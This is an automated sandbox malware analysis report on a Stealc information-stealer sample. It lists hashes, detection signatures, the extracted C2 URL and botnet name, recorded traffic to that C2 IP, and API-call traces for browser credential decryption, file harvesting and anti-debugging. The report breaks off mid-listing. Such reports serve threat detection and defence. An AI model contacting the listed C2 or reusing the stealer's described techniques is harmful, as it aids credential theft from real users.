Edit tour

Windows Analysis Report
uxnkmJzTjK.exe

Overview

General Information

Sample name:	uxnkmJzTjK.exe renamed because original name is a hash value
Original sample name:	ac6cfd8f94d80a7655d146d3f4bf8f26.exe
Analysis ID:	1543996
MD5:	ac6cfd8f94d80a7655d146d3f4bf8f26
SHA1:	dc504fb438874808a1c31b3df328d2c430e7d051
SHA256:	9c3e8022d4d7d382394e1e62fac2d0df1bf545797397288ebe6655c62df78844
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Machine Learning detection for sample

Searches for specific processes (likely to inject)

AV process strings found (often used to terminate AV products)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

One or more processes crash

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

uxnkmJzTjK.exe (PID: 6444 cmdline: "C:\Users\user\Desktop\uxnkmJzTjK.exe" MD5: AC6CFD8F94D80A7655D146D3F4BF8F26)

WerFault.exe (PID: 5988 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6444 -s 1336 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://194.15.46.65/7e57db3b864b30f1.php", "Botnet": "LogsDiller"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000002.1570628123.00000000007CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000002.1570852602.0000000002330000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000003.1281665121.0000000002570000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: uxnkmJzTjK.exe PID: 6444	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: uxnkmJzTjK.exe PID: 6444	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
7.2.uxnkmJzTjK.exe.2490e67.2.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
7.2.uxnkmJzTjK.exe.2490e67.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
7.2.uxnkmJzTjK.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
7.3.uxnkmJzTjK.exe.2570000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
7.3.uxnkmJzTjK.exe.2570000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
7.2.uxnkmJzTjK.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: uxnkmJzTjK.exe

Avira: detected

Found malware configuration

Source: 00000007.00000003.1281665121.0000000002570000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://194.15.46.65/7e57db3b864b30f1.php", "Botnet": "LogsDiller"}

Multi AV Scanner detection for submitted file

Source: uxnkmJzTjK.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: uxnkmJzTjK.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_00419030 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	7_2_00419030
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0040C920 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,lstrcatA,	7_2_0040C920
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0040A210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	7_2_0040A210
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_004072A0 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	7_2_004072A0
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0040A2B0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	7_2_0040A2B0
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024A9297 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	7_2_024A9297
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0249A477 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	7_2_0249A477
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_02497507 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	7_2_02497507
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0249A517 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	7_2_0249A517
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0249CB87 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,lstrcat,	7_2_0249CB87

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Unpacked PE file: 7.2.uxnkmJzTjK.exe.400000.1.unpack

Source: uxnkmJzTjK.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: my_library.pdbU source: uxnkmJzTjK.exe, 00000007.00000003.1281665121.0000000002570000.00000004.00001000.00020000.00000000.sdmp, uxnkmJzTjK.exe, 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, uxnkmJzTjK.exe, 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: my_library.pdb source: uxnkmJzTjK.exe, uxnkmJzTjK.exe, 00000007.00000003.1281665121.0000000002570000.00000004.00001000.00020000.00000000.sdmp, uxnkmJzTjK.exe, 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, uxnkmJzTjK.exe, 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_004140F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	7_2_004140F0
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0040E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	7_2_0040E530
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0040BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	7_2_0040BE40
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0040EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	7_2_0040EE20
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_00414B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_00414B60
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_00413B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	7_2_00413B00
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0040DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_0040DF10
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_00401710
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_004147C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	7_2_004147C0
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0040DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	7_2_0040DB80
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0040F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_0040F7B0
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024A4357 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	7_2_024A4357
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0249F087 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	7_2_0249F087
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0249C0A7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcat,lstrcat,lstrcat,memset,lstrcat,lstrcat,lstrcat,memset,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	7_2_0249C0A7
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0249E177 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_0249E177
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0249E797 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	7_2_0249E797
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0249FA17 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_0249FA17
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024A4A27 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	7_2_024A4A27
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_02491977 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_02491977
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024A3D67 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	7_2_024A3D67
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024A4DC7 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	7_2_024A4DC7
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0249DDE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	7_2_0249DDE7

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://194.15.46.65/7e57db3b864b30f1.php

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 194.15.46.65Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

ASN Name: VENUS-INTERNET-ASGB VENUS-INTERNET-ASGB

Source: unknown

DNS traffic detected: query: 15.164.165.52.in-addr.arpa replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.65
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.65
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.65
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.65
Source: unknown	TCP traffic detected without corresponding DNS query: 194.15.46.65
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Code function: 7_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,KiUserExceptionDispatcher,InternetCloseHandle,InternetCloseHandle,

7_2_00405000

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 194.15.46.65Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa

Source: uxnkmJzTjK.exe, 00000007.00000002.1570628123.00000000007CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.15.46.65
Source: uxnkmJzTjK.exe, 00000007.00000002.1570628123.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, uxnkmJzTjK.exe, 00000007.00000002.1570628123.000000000081D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.15.46.65/
Source: Amcache.hve.13.dr	String found in binary or memory: http://upx.sf.net
Source: uxnkmJzTjK.exe, uxnkmJzTjK.exe, 00000007.00000003.1281665121.0000000002570000.00000004.00001000.00020000.00000000.sdmp, uxnkmJzTjK.exe, 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, uxnkmJzTjK.exe, 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Code function: 7_2_00409E30 memset,wsprintfA,OpenDesktopA,CreateDesktopA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcpy,memset,CreateProcessA,Sleep,CloseDesktop,

7_2_00409E30

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000007.00000002.1570852602.0000000002330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024D82DF	7_2_024D82DF
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0250134F	7_2_0250134F
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024F8040	7_2_024F8040
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0250A08F	7_2_0250A08F
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024EB1CF	7_2_024EB1CF
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024C11DF	7_2_024C11DF
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024FA19F	7_2_024FA19F
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024D36EF	7_2_024D36EF
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0251A76F	7_2_0251A76F
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024CF4FF	7_2_024CF4FF
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024EA5FF	7_2_024EA5FF
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024C159F	7_2_024C159F
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024FCA0F	7_2_024FCA0F
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024D3A0F	7_2_024D3A0F
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_02509AAF	7_2_02509AAF
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_02518B64	7_2_02518B64
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024D5B2F	7_2_024D5B2F
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_0250C805	7_2_0250C805
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024BD9AB	7_2_024BD9AB
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024FFFEF	7_2_024FFFEF
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_02505C00	7_2_02505C00
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024EAD0F	7_2_024EAD0F
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Code function: 7_2_024FED3D	7_2_024FED3D

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Code function: String function: 00404610 appears 317 times

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6444 -s 1336

Source: uxnkmJzTjK.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000007.00000002.1570852602.0000000002330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: uxnkmJzTjK.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@2/5@1/1

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Code function: 7_2_00418810 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

7_2_00418810

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Code function: 7_2_00413970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

7_2_00413970

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6444

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\3224b894-d5a9-4d34-88b4-b37a847acc9c

Jump to behavior

Source: uxnkmJzTjK.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: uxnkmJzTjK.exe

ReversingLabs: Detection: 55%

Source: unknown	Process created: C:\Users\user\Desktop\uxnkmJzTjK.exe "C:\Users\user\Desktop\uxnkmJzTjK.exe"
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6444 -s 1336

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\uxnkmJzTjK.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: my_library.pdbU source: uxnkmJzTjK.exe, 00000007.00000003.1281665121.0000000002570000.00000004.00001000.00020000.00000000.sdmp, uxnkmJzTjK.exe, 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, uxnkmJzTjK.exe, 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: my_library.pdb source: uxnkmJzTjK.exe, uxnkmJzTjK.exe, 00000007.00000003.1281665121.0000000002570000.00000004.00001000.00020000.00000000.sdmp, uxnkmJzTjK.exe, 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, uxnkmJzTjK.exe, 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Unpacked PE file: 7.2.uxnkmJzTjK.exe.400000.1.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Unpacked PE file: 7.2.uxnkmJzTjK.exe.400000.1.unpack

Source: C:\Users\user\Desktop\uxnkmJzTjK.exe

Code function: 7_2_00419F20 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,